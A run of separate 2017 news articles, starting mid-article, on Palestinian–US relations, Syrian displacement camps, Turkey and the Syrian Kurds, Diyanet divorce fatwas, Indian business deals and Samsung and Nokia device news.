Sharab predicted that some countries such as Russia, China, Turkey, France and even the European Union could pressure the United States to take more realistic, neutral and effective positions in the peace process in the future so as not to trigger rage in the Arab region.

Speaking about the financial aid provided to the PA, Sharab said that the United States could be understanding of the Palestinian anger over Trump's decision if the Palestinian position remained limited to anger and did not translate into policies and positions against the United States and Israel; otherwise, both America and Israel could take strong steps against the PA, such as cutting all the aid and financial support provided to it and tightening the grip around it.

Akram Atallah, a political analyst and writer at the Palestinian daily Al-Ayyam, shares Sharabs view and believes the PA can never find an alternative to the United States because the latter is the only country in the world with the ability to force Israel to resume the peace process and abide by some of its resolutions.

Speaking to Al-Monitor, Atallah warned the PA that a clash with the United States could harm the Palestinian cause. He expected that America would order some countries that support the PA financially, including some Arab countries, to cut the support. Atallah also shed light on concerns about Israel no longer transferring the tax revenues it collects through the ports to the PA.

Since the PA has little to no options in seeking a new sponsor and in light of Arab and Western pressure, it seems that the United States would try to understand why the recognition of Jerusalem as Israels capital raised the ire of Palestinians and Arabs and will attempt to ease it by postponing the transfer of the US Embassy to Jerusalem if Arab and Islamic pressure on the United States continues, which could be a good way out for the PA after all this anger.
December 18, 2017

ALEPPO, Syria  Displaced persons from various Syrian cities currently living in Aleppos northern countryside camps, especially in the vicinity of Azaz, are trying to survive the winter under the difficult humanitarian situation. There is no heating in these camps, as local and international humanitarian organizations are reluctant to provide assistance to displaced people in unorganized camps along the Syrian-Turkish border.

During the past several months, thousands of displaced people have arrived in the camps in the northern countryside of Aleppo, fleeing the battles in Raqqa, Deir ez-Zor and in Hamas eastern countryside. Aleppos northern countryside is relatively safe, but its camps do not have enough space to accommodate all of the displaced people.

This has pushed many to settle in agricultural areas near the organized camps. They have erected unorganized camps that lack the bare necessities to live. The displaced have no drinking water and no heating equipment.

According to statistics collected by activists in the area in November, there are 13 organized camps in Aleppos northern countryside that are home to 109,849 people, and there are 23 unorganized camps holding 61,813 people.

The organized camps received the first wave of displaced people following military operations in northern Syria in mid-2012. The camps received funding from international humanitarian organizations, such as the Qatari RaF Foundation and the Turkish IHH Humanitarian Relief Foundation. These camps are able to accommodate a specific number of people and are surrounded by a fence, preventing anyone from entering except through the main gate controlled by camp officials.

As the organized camps became full, unorganized camps were created by the displaced people in cooperation with the residents of the northern countryside of Aleppo, where the local councils employ staff to manage these camps.

The Yazi Bag camp, one of the unorganized camps in Aleppos northern countryside near the Syrian-Turkish border in the vicinity of Azaz, has about 510 displaced families. They lack basic services such as water, electricity and food. There are no schools for children and no health care for the sick and the elderly.

Abu Omar al-Raqqawi from Raqqa, who has been living with his family of six in Yazi Bag camp for over four months now, told Al-Monitor, Where else could we go? I left Raqqa around four months ago after my house was destroyed by an airstrike, and I have been living here with my entire family in one tent. If I were to ever find a house in any of the neighboring villages, rent would cost me at least $150 per month, which I cannot afford. War has rendered me unemployed, and all I can do is be patient and stay here. At night, my family and I sit next to each other under blankets and try to keep warm as much as we can in our cold tent.

In the absence of local and international humanitarian organizations, the displaced end up fending for themselves, which has proven hard to do as they now live out in the open in an area with no job opportunities.

This pushed Ahmad Sami, the head of the local council of the Ihtimlat village, to call local and international humanitarian organizations on Dec. 4 to provide food and electricity for the villages camp.

Khalid Marimini, who is in charge of one of the sectors of the Yazi Bag camp  displaced camps in Aleppo are divided into sectors  told Al-Monitor, The camps in the northern countryside of Aleppo are located on rough agricultural land, and the rain makes it even harder for vehicles to reach the camps. This has resulted in considerable scarcity in drinking water since tanks from neighboring villages cannot transport water to the displaced people.

He added, The tents they live in are nowhere near enough to protect them from the winter cold in the absence of heating equipment. Some try to cut down trees from neighboring farmland and turn them into firewood for heating, but landowners do not always allow it. People living here are doing their best to survive. For some, their daily meal consists of only potatoes and bread.

Marimini noted, Words cannot describe the suffering of displaced people living in camps in Aleppos northern countryside. It is as if they were living in the Stone Age. There are no humanitarian organizations providing assistance at the moment except the Turkiye Diyanet Foundation, which offers some aid every now and then, but it is barely enough to cover the needs of 2% of the estimated 510 families living here.

Marimini called on local and international humanitarian institutions and organizations to intervene urgently, head to the northern countryside of Aleppo and see for themselves how hundreds of families are in dire need of heat, food, water and health care.

Displaced people in the camps in the northern countryside of Aleppo are hopeful that calls made by their officials will not fall on deaf ears. Meanwhile, the cold winter warns of a deja vu disaster, especially since many children and elderly died last year in the cold or because of bad heating equipment.
By PTI: Mumbai, Dec 19 (PTI) Wind turbine maker Suzlon has bagged a 252 MW contract from a global firm as a part of Solar Energy Corporation of India (SECI) II bid in Gujarat.

Under the contract, the company will install 120 units of 2.1 MW of S111 120m in Gujarat, it said in a statement issued here.

With this order, Suzlon has secured combined orders of 502 MW across SECI-I and SECI-II auctions, the company said. *************** Kumari Builders to invest Rs 500 cr in 2 projects in Mumbai *

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Bengaluru-based real estate player Kumari Builders and Developers plans to invest Rs 500 crore to develop two villa projects in the city, marking its foray into the segment.

Spread across 50 acre, the project in Malur will offer 750 homes, while the 12 acre project on Sarjapur Road includes 192 villas, the company said in a statement issued here.

"Over the past four years, we have delivered 2.5 lakh sq feet of residential projects. We now want to develop luxury villas," companys Director Ashok Naidu said, adding, "we will invest Rs 500 crore for this development." ********************* Sobha,Puravankara to develop luxury proj Marina One in Kochi *

Realty players Sobha and Puravankara today said they have, in co-ownership, launched Marina One, among Keralas largest super luxury waterfront homes in Kochi.

The project, which has a waterfront of 497 metre, offers 1,141 homes in total in 3BHK+study and 4BHK, ranging from 2296 sq feet to 3710 sq feet of super built up area, the company said in a statement issued here.

"Kochi is also among the fastest growing tier II cities in the country with a major thrust on the real estate, making it a profitable investment option for Indians and NRIs," Sobha Chairman Ravi Menon said.

Many Indian high networth individuals, along with NRIs from the US, the UK, Singapore and the well informed local population see Kochi as an investment destination. Also, the infrastructure development in the city has resulted in the growth of luxury home market here, Puravankara Managing Director Ashish Puravankara said. ********************* LjungstrAm to supply air pre-heaters, gas-gas heaters in UP *

Power technology solutions provider LjungstrAm today said it has bagged a contract from Doosan Power Systems India (DPSI) to supply supply eight air pre-heaters and four gas-gas heaters for two supercritical thermal projects totaling 2,640 MW in Uttar Pradesh.

The company has bagged the contract for supplying the heaters for the Obra-C coal-fired electrical power plant in Sonebhadra district, and for the Jawaharpur coal-fired electrical power plant in Etah district, both in Uttar Pradesh, it said. PTI PSK DSK DSK BAS

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December 19, 2017

One concrete result from the meeting between Turkish President Recep Tayyip Erdogan and Russian President Vladimir Putin in Ankara on Dec. 11 seems to be Turkeys acceptance of Kurdish participation in the Russian-sponsored Syrian National Dialogue Congress planned for early 2018.

But Turkeys precondition remains the same  namely that the Democratic Union Party (PYD) and its military wing, the People's Protection Units (YPG), are excluded from this congress. Ankara says these are terrorist groups linked to the Kurdistan Workers Party (PKK) and refuses to participate in any effort to bring peace to Syria that includes them.

Moscow, however, has refused to list the PYD or the PKK as a terrorist organization. Ankara took exception some months ago when Moscow invited the PYD to take part in national reconciliation efforts in Syria. Following his meeting with Putin and Iranian President Hassan Rouhani in Sochi at the end of November, Erdogan reiterated Ankaras position. No one should expect us to sit under the same roof or come together on the same platform with a terrorist organization that threatens our national security, Erdogan said during the press conference the three leaders held after their talks.

Nevertheless, it is not clear yet if Moscow has, in fact, agreed to ditch the PYD for Turkeys sake. Some suggest that Moscow is seeking to get this group to participate in the National Dialogue Congress under a different name, which it hopes will be more palatable for Ankara.

The Turkish Karar newspaper broke the news last week that Erdogan and Putin had come to an understanding in Ankara over Kurdish participation in the National Dialogue Congress, which would exclude the PYD.

Foreign Minister Mevlut Cavusoglu told the Turkish NTV news channel, after the Putin-Erdogan meeting in Ankara, that they had furnished Russia with a list of groups they believe are the true representatives of the Syrian Kurds.

According to Cavusoglu, there are 300,000 Syrian Kurds in Turkey who fled YPG oppression and are prevented from returning to their homes by the PYD. Turkish press reports say the list of Kurdish groups Turkey supports includes 15 separate organizations operating under the banner of the Kurdish National Council (KNC), which is opposed to the PYD.

The KNC was established by the Kurdistan Regional Government (KRG) in Iraq in 2011 and was backed by Turkey in its campaign against the PYD. It is participating in the Geneva talks, but it is not clear how much support it has in Syria.

Cavusoglu admitted that they were still trying to convince Moscow regarding the list of Kurdish groups supplied by Ankara.

Even if Turkey accepts the participation of Kurdish groups other than the PYD in the National Dialogue Congress, this still leaves it facing a number of issues. One problem is the fact that the KNC, although it opposes the PYD, is also keen to have some degree of self-rule for Syrian Kurds.

It remains an open question whether Turkey is ultimately willing to accept an autonomous or semi-autonomous Kurdish region adjoining its border with Syria.

Ankara, on the whole, remains opposed to any political advances by the Kurds in the region. It demonstrated this clearly with its hostile response to Iraqi Kurds following their independence referendum in September. Ankara is wary that independence or political self-rule for the Kurds in Iraq and Syria will encourage its own restive Kurds to press on with similar demands.

Another problem Turkey faces has to do with proving that the KNC is the true representative of the Syrian Kurds. The PYD has proven its ability to play the field in Syria to the advantage of the Kurds by gaining the support of both the United States and Russia. It holds a large swath of Syria today because of this support, while the KNC holds hardly anything.

A Western diplomat in Ankara told Al-Monitor that most Kurds are likely to opt for the PYD, with its proven track record, rather than opt for groups that are backed by Turkey and have remained on the fringes while the YPG did the fighting against the Islamic State (IS).

Kurds see elected Kurdish politicians in jail in Turkey and remember Ankaras saber-rattling over the vote for independence by Iraqi Kurds. They will hardly be inclined to see Turkey as a friend of the Kurds, said the diplomat, who was speaking on condition of anonymity due to his sensitive position.

There is also the problem of the territory the PYD has captured from IS in northern Syria with US support. How Turkey plans to dislodge the PYD from these areas under existing conditions and if necessary implant Kurds friendly to Turkey there is also unclear.

Nihat Ali Ozcan from the Economic Policy Research Foundation of Turkey believes that relying on the KNC is a nonstarter for Ankara. It is not possible to disregard the fact that the PYD holds 20% of Syria, Ozcan told Al-Monitor.

Ozcan said that Ankaras reliance on the KRG to help in this matter is also unlikely to bear results. He pointed out that the KRGs relations with the Syrian Kurds had also undergone a transformation since it helped found the KNC in Syria.

Ozcan added that relying on Syrian President Bashar al-Assad against the PYD was also unlikely to bring results. Hopes were raised in Turkey earlier this week after Assad declared the PYD to be a treacherous organization for cooperating with the United States against the Syrian regime.

Assad also said, however, that the same applied to any group in Syria that cooperated with outside powers. Given Turkeys well-known support for groups that tried to topple him, Assad is unlikely to accommodate Turkey against the Syrian Kurds.

Assad also rejects the Democratic Federation of Northern Syria, the name given to the regions liberated by the PYD from IS with US support. Turkish reliance on this could also prove to be misguided, though, since Assad is likely to be forced by Russia to accept a compromise in this regard for the sake of peace in Syria.

Retired Brig. Gen. Naim Baburoglu, an expert commentator on developments in Syria and Iraq, also believes that Ankaras efforts aimed at trying to replace the PYD with its own Kurdish groups in Syria amount to an exercise in futility.

Speaking to Al-Monitor, Baburoglu pointed to the amount of land the PYD controls east and west of the Euphrates River in northern Syria and questioned how Ankara plans to overcome this glaring fact.

The United States will stay in Syria. So will Russia. Both superpowers have agreed on a federated future for Syria. This leaves Turkey with few options, Baburoglu told Al-Monitor.

Assuming for a moment that Turkey did succeed in replacing the PYD with Kurdish groups that it supports. Does it expect these other Kurds to come out and say No, we dont want a federated settlement? Baburoglu said.

He argued that Ankara had landed itself in this seemingly intractable position with its gross miscalculations at the start of the Syrian crisis. The simple truth is that Turkey has three new neighbors in the southeast today. The United States, Russia and the PKK [he was referring to the PYD], Baburoglu said, indicating in this way that Ankara would have to live with this fact.

If Turkey had not burned its bridges with Assad at the start of the Syrian crisis and had kept its own vital security interests above all other considerations, Baburoglu said, then the situation would be very different today.

Whichever way one looks at it, Turkeys problems with the Syrian Kurds seem to be far from over. As for the PYD, it looks like it will remain the elephant in the room  one way or another.
December 18, 2017

Turkeys top religious body, the Directorate of Religious Affairs, or Diyanet, has recently attracted a lot of attention for the numerous fatwas it has been publishing online.

For example, on Nov. 29, Turkeys top religious body declared the digital currency Bitcoin inappropriate at this moment in time. On Dec. 1, it issued a fatwa on hair dye for men, and on Dec. 13, purchasing national lottery tickets was forbidden. On Dec. 14, it issued a fatwa about immoral music.

Yet no recent fatwa was as controversial as the one on divorce that the Diyanet issued on Dec. 7, stating that couples may get divorced via telephone call, fax, letter, text message or email.

According to the classic  and widely practiced  interpretation of Islamic jurisprudence, a man divorces a woman by pronouncing talaq, the Arabic word for divorce. It is much harder for a woman to obtain a divorce. The newest religious opinion by Turkeys Diyanet states, Divorcing your spouse by saying talaq via phone call, letter, SMS, internet and fax are as valid as saying it to their face," and "If a woman is divorced through written methods such as a text message or letter, she should ensure that the message was sent by her husband.

Those who might approve this ruling have been quiet about it. The fatwa incited a flood of sarcastic comments on social media, and comments ranged from calling the ruling scandalous to a misuse of communication devices. The backlash included feminist groups, Republican Peoples Party deputies like Bulent Oz and Kazim Arslan, and journalists for secular newspapers. Arslan said, The High Council is losing its reputation and has become fodder for humor. Columnist Melih Asik from Milliyet wrote that the fatwas defy Turkey's secular laws and womens rights. Feminist Agenda (Feminist Gundem) tweeted, Down with your fatwa.

All of this commotion is taking place in an atmosphere in which muftis have already started conducting legal marriages after a controversial bill was passed to authorize them. On Dec. 13, the Constitutional Court unanimously rejected a local courts challenge to a regulation in the Civil Servants Law that bans Diyanet personnel from involvement in politics.

Trying to defuse the situation, Deputy Prime Minister Fikri Isik stated that these religious rulings by the Diyanet should be evaluated not in accordance with the constitution but on compliance with religious principles. He added that people will decide for themselves whether to follow or reject the Diyanet's religious opinions. This has nothing to do with the constitution, he concluded. There is civil law in Turkey and it is valid.

But the religious aspects of the Diyanet's ruling on divorce are also problematic for some. Caner Taslaman, a popular progressive Islamic theologian in Turkey, explained to Al-Monitor, Everything that is not forbidden in the Quran is lawful or permitted in Islam. For example, there is no need for a verse stating Eggplant is for eating. If there is no prohibition, eggplant can in fact be eaten. To Taslaman, the same logic follows for divorce: As there is no rule in the Quran that a woman cannot divorce a man, the same right of divorce that is valid for a man is equally valid for a woman.

Taslaman believes that throughout history, men were the ones who interpreted religious texts. Men also held economic power, as it is still the case to a large extent around the world. This situation led to a patriarchal interpretation of the Quran, which reformists like Taslaman are challenging. For me, the problem is not easy divorce but rather the lack of recognition of the equal right for a woman to marry and divorce like a man, Taslaman explained. He also pointed to the Qurans intent to prevent a woman from economic vulnerability in the case of divorce by establishing that women have the right to keep their mahr, or wedding gift given by the man.

In a similar light, Berrin Sonmez, a former academic and writer for leftist portal Gazete Duvar, offered a rare female voice from this angle. She cited verses from the Quran to argue for equality between men and women in marriage and divorce. Sonmez also referred to the divorce procedures in the Mejelle, which is regarded as the most important reform of Ottoman civil law in the process of modernization. Accordingly, divorces in the last decades of the Ottoman Empire were legal proceedings documented by courts, as opposed to informal declarations by men. Later on, after the founding of the republic, divorce became formalized in Turkeys civil law, so the Diyanet's religious opinions must not violate the rights recognized in the civil law, wrote Sonmez.

Another progressive voice in Turkey, theologian Mustafa Ozturk, argued that granting the right to divorce only to men was a product not of religion but of tradition. And the Diyanet was making the mistake of taking procedures from a period when verbal cultural codes were dominant and turning them into supra-historical principles valid for all times and societies.

All in all, it seems that the fatwa decreeing that men can divorce their wives with a mere email or text message is not going to affect Turkeys more modern and egalitarian legal standards. But the controversy has underlined the fact that for Muslim jurists to be relevant and helpful in modern society, they should begin by understanding the gap between this society and the traditional cultures in which Islamic jurisprudence developed.
December 19, 2017

Turkish claims of American mischief have grown louder and ever more outlandish since last summers failed coup against President Recep Tayyip Erdogan, with many of his supporters agreeing that the real mastermind is Washington.

But a Turkish gendarmerie commander clearly deserves credit for carrying these claims to virgin terrain. In a column published in the pro-secular Sozcu today, the commander, whose name was withheld, illustrated the new lows to which distrust between the two NATO allies has sunk, asserting that US-manufactured bombs dropped by the Turkish air force on Kurdistan Workers Party (PKK) targets were duds.

Unfortunately the bombs that our planes are dropping are fakes, the commander, who is reportedly stationed in the mainly Kurdish southeast region, told Sozcu columnist Saygi Ozturk. The commander cited two incidents that took place over the past month near the provinces of Van, Sirnak and Bitlis, where the PKK is active.

Three bombs are dropped on a group of seven [PKK] terrorists. Although the bombs land within 25-30 meters [of the targets position], one of the terrorists survives. In the other affair, the bomb is dropped within 8 meters of two terrorists sitting under a tree, but they get up and go as if nothing happened. How is this possible? Normally a single bomb kills anything that is within 300 meters of its target. The commander then dropped his own bomb: It is an American company that manufactures the bombs.

He did not identify the company.

Aaron Stein is a senior fellow at the Atlantic Council who specializes in security issues and has written extensively about Turkey. He termed the Turkish commanders assertions ludicrous and dumb in comments emailed to Al-Monitor.

If anything, the United States has helped Turkey combat the PKK for decades, providing precision bomb kits, attack helicopters and real time intelligence on rebel targets. The CIA is believed to have played a critical role in the capture of PKK leader Abdullah Ocalan in 1999.

Last year, the industry publication Defense News reported that the Pentagon had awarded Ellwood National Forge, General Dynamics Ordnance and Tactical Systems a $682.9 million contract to sell Turkey an unspecified number of smart bombs through a Foreign Military Sales scheme.

The sale of the BLU-109 bunker-buster bombs system would be a first to Turkey and their likely target would be the PKKs mountain hideouts along the Iran-Iraq border. The bombs are meant to be delivered by 2020 and Turkish officials believe they could have a game-changing effect in the battle against the Kurdish rebels.

Yet, none of this has ever assuaged long-nursed Turkish paranoia, not least amid the country's top brass, about the United States purported plans to carve an independent Kurdish state out of Turkey.

But little has poisoned the well as much as the Pentagons decision to arm and train the Syrian Kurdish Peoples Protection Units (YPG), which was birthed and is mentored by the PKK. Turkey insists with some merit that the two are one and the same.

The Turkish commander who spoke to Sozcu appeared to suggest that the United States was hoping to see Turkey get bogged down against the YPG in Afrin, a mainly Kurdish enclave facing Turkey. Erdogan has repeatedly threatened to invade Afrin and other YPG-controlled towns along its borders with Syria, telling a recent rally they need to be expunged of terrorists.

The commander apparently believes this is a poor idea. He cautioned, Our army is being deliberately drawn into a war with [jets carrying fake] bombs. This plan is a plan to massacre [our soldiers].

The administration continues to send conflicting messages about its relationship with the YPG. At a recent panel discussion, Jonathan Cohen, the US deputy assistant secretary of state who covers Turkey, told a Washington audience for the second time this year that these ties are transactional, tactical and temporary. Yet Pentagon officials on the ground in Syria assure the YPG of the opposite.

Nicholas Danforth, a senior analyst at the Bipartisan Policy Center and respected Turkey expert, told Al-Monitor, When US policy is fundamentally incoherent its easy to understand how Turks might resort to conspiracy theories to make sense of it. The mystery is why people believed in these theories before we started actually helping the PKK.

In private conversations, administration officials freely acknowledge the close links between the PKK and the YPG. But in public they continue to emphasize the fact that the latter is not officially classified as a terror group, hence its perfectly in order to deal with them as partners against the Islamic State in Syria. And some continue to entertain fantasies about the YPG distancing itself from Ocalan and his group and becoming an all Syrian force.

In the meantime, the panacea as Washington sees it is to increase cooperation with Ankara against the PKK in Turkey and Iraq.

The Pentagon has even mulled plans to help Turkey take out Cemil Bayik, a top PKK commander based in Kurdish-controlled northern Iraq.

Danforth observed, At one level it's completely coherent. We want the Kurds to kill [the Islamic State] and we want to keep Turkey happy. But he concluded, It's just the result of that logic thats incoherent. At the point were supporting the YPG, giving Turkey fake bombs would almost make more sense than actually helping them against the PKK.
The hotfix addressing a known battery bug on the Gear S3 is rolling out globally, Samsung confirmed on Tuesday, as reported by 9to5Google. The new software package was first spotted by one Canadian user earlier today but with no reports of the same firmware being available in other parts of the world, it was presumed the update was initially being distributed in a limited capacity. While that didnt end up being the case, no users in other parts of the world have yet claimed to have received the hotfix. Still, in light of Samsungs announcement, the wait shouldnt be too long and the firmware is likely to begin hitting Gear S3 units outside of Canada in a matter of hours, if it hasnt already.

The issue was originally spotted in early December, shortly after the South Korean tech giant started rolling out the Tizen 3.0 update to owners of its 2016 smartwatch. Following the installation of the Tizen 3.0 Value Pack, a number of users were complaining about experiencing heavy battery drainage but not all owners of the Gear S3 and Gear S3 Frontier were seemingly affected by the problem. While its currently unclear how prevalent the bug was, all users should soon be able to return to having a three-day battery life with conservative use, as was the case prior to the Tizen 3.0 upgrade. The Seoul-based original equipment manufacturer didnt disclose what exactly drained the battery, with a memory leak being the likeliest suspect, as is usually the case with software issues of this nature.

Despite being over a year old, the Gear S3 lineup is still Samsungs latest series of smartwatches featuring an aesthetic that places it in the fashion accessory segment of the market, even with all of its fitness tracking capabilities. This year, the OEM opted for a more sporty smartwatch design by delivering the Gear Sport, a device thats essentially a combination of the best features found inside the Gear S3 and Gear Fit-series wearables encased in a body made in accordance with the MIL-STD-810G military durability standard which also boasts 5ATM water resistance at depths of up to 50 meters (164 feet).
An alleged render of the Nokia 9 leaked recently, presenting a full-screen design with thin side bezels and an elongated display aspect ratio. Though images of the back panel are missing, the device appears to feature a metal frame with the top and bottom edges segmented by antenna bands, and will reportedly carry a rear-mounted fingerprint scanner as opposed to embedding the sensor in a front-facing physical home button. This is expected to be Nokias first 18:9 smartphone and recent reports claim it will be officially introduced next month, though the aspect ratio of its screen is now somewhat dubious, with its newly uncovered FCC certification suggesting the existence of a 16:9 panel instead of a taller one and directly contradicting the render seen above.

The Nokia 9 is rumored to adopt a dual-camera setup on the back panel, and the leaked render at hand presents the device with dual front-facing sensors as well. The top and bottom bezels dont seem to be as thin as those of other recent flagships, however, the display appears to stretch across both side edges, creating a nearly full-screen look. The top bezel also appears to accommodate a loudspeaker but the Nokia brand is missing entirely from the front panel so this could be the HMDs first Android-powered smartphone model to abandon this feature.

Other expectations surrounding the Nokia 9 include a glass sandwich design which would theoretically allow for wireless charging capabilities, though that functionality might not be implemented. As for other hardware specifications, the device should be equipped with a 5.5-inch Super AMOLED display with a 2K resolution and be fueled by the Qualcomm Snapdragon 845 chipset officially introduced earlier this month, though again, the aforementioned FCC certificate contradicts this rumor and instead suggests the existence of the Snapdragon 835. Qualcomms chipset should be paired with at least 4GB of RAM although a 6GB configuration is likelier, and as far as storage is concerned, the device should be offered in 64GB and 128GB variants. Android 8.0 Oreo is expected to run out of the box and recent rumors suggest the device will be officially unveiled along with the Nokia 8 (2018) on January 19 after CES. It remains to be seen whether the Nokia 9 will prioritize Eastern markets like the Nokia 6 did earlier this year, or if it will enjoy a more widespread release from the get-go.
An HMD Global-made device bearing the model number TA-1005 thats widely believed to be the Nokia 9 flagship was certified by the United States Federal Communications Commission on Tuesday, as evidenced by a set of documents published by the agency. While FCC-issued certificates usually dont disclose much in regards to the actual hardware specifics of the devices tested by the federal regulator, the newly unveiled listing is unconventionally revealing and specifically identifies a number of characteristics of the supposed Nokia 9. According to the source, the TA-1005 ships with 128GB of internal flash memory, with approximately 81 percent of that volume (104GB) being available to users. Additionally, the handset will ship with Android 8.0 Oreo out of the box and is likely to retain the near-stock experience of HMDs other 2017 handsets powered by the Googles mobile operating system, as suggested by the fact that Gboard is set as its default keyboard.

The newly uncovered documents also mention the existence of a 3,250mAh battery which supposedly isnt removable. The handset itself will be equipped with an LG Display-made 5.5-inch LCD panel whose resolution wasnt specified but that was previously alleged to be of the QHD+ variety and take advantage of an 18:9 aspect ratio. The screenshots of the devices Settings seen in the gallery below dont corroborate those rumors as they clearly show a 16:9 display. The model number of the screen was never before mentioned by the South Korean panel manufacturer, suggesting that the screen of the Nokia 9 or however the TA-1005 ends up being called is a custom-made module. The front camera of the handset is a 5-megapixel affair, whereas its rear plate will accommodate a two-lens setup with a 12-megapixel sensor and another 13-megapixel one. The imaging system of the supposed Nokia 9 is hence somewhat different to the one used by the Nokia 8 which relied on two 13-megapixel modules.

Qualcomms MSM8998 is also part of the package, the listing claims, suggesting that the TA-1005 will be the second Nokia-branded smartphone powered by the Snapdragon 835. As expected, Foxconn-owned FIH Mobile handled the actual production of the alleged Nokia 9, much like it manufactured all of HMDs Android devices released over the course of 2017. The handsets newly acquired certification suggests its launch is coming soon and may also indicate that HMDs upcoming flagship isnt circumventing the United States. While the Nokia 8 also passed through the FCC earlier this year, it never had a stateside launch, with HMD stating its seeking to focus on other markets with its premium products, though it remains to be seen whether that strategy has changed after four months.
Samsung has apparently discontinued SmartThings support for its own TVs, according to a recent community post by a Samsung Moderator answering a question regarding the services availability. No explanation was given as to why the feature has been disabled but the functionality will not be coming back, according to the same source. As a result, Samsung smart TV owners are no longer able to control their TV sets using the SmartThings platform.

The SmartThings company was founded in 2012 and acquired by Samsung two years later, with the tech giant planning to use it as its Internet of Things platform of choice, prior to the OEM announcing its SmartThings application in September 2015. The system allows users to control connected home appliances and smart devices through a smartphone hub application, and last year, the SmartThings Hub was updated to support Samsung TVs, allowing users to control their compatible TV sets remotely through their handsets. However, this functionality has now been removed from the platform, as recently confirmed by a moderator on the official Samsung Community pages. Unfortunately, no additional information was provided as to why support has been pulled, but the moderator reaffirms that the SmartThings Hub itself has not been discontinued; only its TV functionality was removed.

Also worth noting is that its not entirely clear when this change actually happened, as according to the original poster on the Samsung Community website, SmartThings integration has been unusable on the Samsung un55ks8500 2016 TV model since a firmware update was pushed to the device in September. Four additional firmware updates were sent to the TV over the past few months, but none of them addressed the problem that ultimately ended up being a conscious decision on Samsungs part. The only addressing that was made came in the form of the recent confirmation that the functionality has been disabled, with the firms community manager being unwilling to speculate on whether or not the feature will make a comeback in a different form or through another application in the future. As an alternative, Samsung TV owners can utilize Samsung Connect instead which is now advertised as the primary method of linking ones device with a Samsung-made television set.
The Samsung VR Android app for the companys Gear VR headsets was already updated with support for the Galaxy A8 (2018) and Galaxy A8 Plus (2018), Samsungs latest mid-rangers announced earlier today. Despite the fact that the newly unveiled handset duo still isnt available for purchase, the South Korean phone maker started updating its mobile app portfolio to accommodate it, with this particular revision being particularly noteworthy as it marks the first occasion on which Samsung added a non-flagship device to its virtual reality ecosystem.

The Galaxy A8 (2018) and Galaxy A8 Plus (2018) are set to be released next month and will retail for approximately 499 ($589) and 599 ($707) in Europe, depending on the exact market. Both handsets ship with Samsungs Infinity Display panels boasting an aspect ratio of 18.5:9, with the smaller one having a 5.6-inch screen and the larger handset shipping with a 6.0-inch module. Their displays are advertised as being perfectly suitable for VR applications, featuring an unconventional FHD+ resolution of 2,220 by 1,080 pixels, in addition to being powered by the mid-range Exynos 7885 SoC and 4GB of RAM at a minimum, with a more premium variant of the Galaxy A8 Plus (2018) also boasting 6GB of RAM. In practice, the two Android smartphones should offer a similar level of VR performance compared to their high-end counterparts, Samsung suggested.

Besides the newly added compatibility with the Galaxy A8 (2018) lineup, the latest build of Samsung VR also ships with improved support for Android 8.0 Oreo-based Samsung Experience 9.0. The Seoul-based tech giant is still in the process of optimizing its Oreo build for the Galaxy S8 and Galaxy S8 Plus, with the firmware itself remaining in an experimental phase of development and recently receiving its fourth preview build. The update is scheduled to start hitting the companys 2017 pair of flagships in late January or early February and should make its way to the Galaxy Note 8 shortly after that debut, whereas all of the firms other devices will receive it at a later date. While Samsung has yet to announce a beta testing program of Android 8.0 Oreo for the Galaxy Note 8, the fact that Samsung VRs new changelog specifically references this OS version indicates that its launch is also coming in the near future.
The Galaxy S9 and Galaxy S9 Plus leaked as part of two new case renders from Olixar, with both devices being depicted with what appears to be Samsungs popular Orchid Gray finish that was already rumored as making a return for the companys new Android flagships. The images that can be seen in the gallery below also give more credence to previous reports that the smaller Galaxy S9 will be extremely similar to the Galaxy S8, up to the point that it wont even feature a dual-camera setup like the Galaxy Note 8. Both handsets are shown as having a horizontal fingerprint sensor situated beneath their imaging systems instead of being positioned vertically to their right, with that particular spot on their back panels now being occupied by a dual-LED (dual-tone) flash unit and a heart rate monitor.

The overall front look of the Galaxy S9 and Galaxy S9 Plus doesnt seem to have changed much compared to Samsungs 2017 pair of flagships, with the Infinity Display still being the center of the bezel-free aesthetic featuring a screen-to-body ratio of approximately 85 percent. A dedicated Bixby button is still shown as being part of the package, situated below the volume down key on the left edge of the handset when looked from the front. Both devices are rendered with single-lens front camera setups and appear to have corners that are more curved than those found on the Galaxy Note 8 but are still blockier than the Galaxy S8 series.

According to the vast majority of recent reports, the Galaxy S9 and Galaxy S9 Plus will be aimed at refining the Galaxy S8 formula in order to convince even more consumers to switch to Samsungs bezel-less mobile devices. The Chinese and U.S. variants of the handsets are said to be powered by Qualcomms Snapdragon 845, whereas the international models should feature Samsungs own Exynos 9810 chipset. The Galaxy S9 is rumored to retain 4GB of RAM and 64GB of storage space, whereas its larger counterpart should have a base of 6GB of RAM and be offered in variants spanning up to 512GB of Samsung-made internal flash memory. The handsets will officially debut on February 27th at MWC 2018, according to recent reports.
Android 8.0 Oreo-based Samsung Experience 9.0 changes its previously employed screenshot naming scheme by including the names of the apps shown in ones screengrabs, thus making them more informative in the context of file lists with tiny or non-existent thumbnails which couldnt help you recognize individual images. Whereas the previous versions of Samsungs mobile software would primarily name screenshots based on their capture date and offer little instantly identifiable information in such monikers.

The screenshots taken on the Galaxy S8 and Galaxy S8 Plus running the fourth preview version of Samsungs take on Android 8.0 Oreo all have names that start with Screenshot_ and continue with the actual name of the app thats depicted in any given image, as seen below. Screengrabs of ones home screen or app dock will simply insert the name of the launcher thats one display, with the default option being Samsung Experience Home. Its presently unclear how the software handles multi-window mode screenshots, i.e. whether it includes names of all apps shown in an image or just the last one that recorded user input. The latest beta build of Samsung Experience 9.0 became available to a limited number of testers in Germany, France, Poland, and Spain just yesterday and should soon roll out in China and India. Besides changing the screenshotting mechanics of the operating system, the new firmware also introduces a broad range of bug fixes and performance improvements and is generally presented as a near-final variant of Android 8.0 Oreo for Samsung-made handsets. The software is presently scheduled for an early 2018 release and will most likely start rolling out in late January, though minor delays arent out of the question as Samsung has yet to thoroughly test every aspect of the OS and verify no severe bugs are present in its code. The latest experimental version of Oreo-based Samsung Experience also disables the DeX functionality on third-party docks as the Korean tech giant is now seemingly taking more proactive steps to prevent manufacturers from profiting on cheap alternatives to its DeX station.

While the newer iterations of MIUI already support a similar screenshotting functionality, stock Android doesnt, with the newly uncovered feature being yet another example of Samsungs efforts to improve on every iteration of Googles operating system. While the firms proprietary software builds generally arent as smooth as their native Android peers, the debut of Samsung Experience 8.5 already introduced a wide variety of improvements and significantly enhanced the overall performance of Samsungs flagship devices.
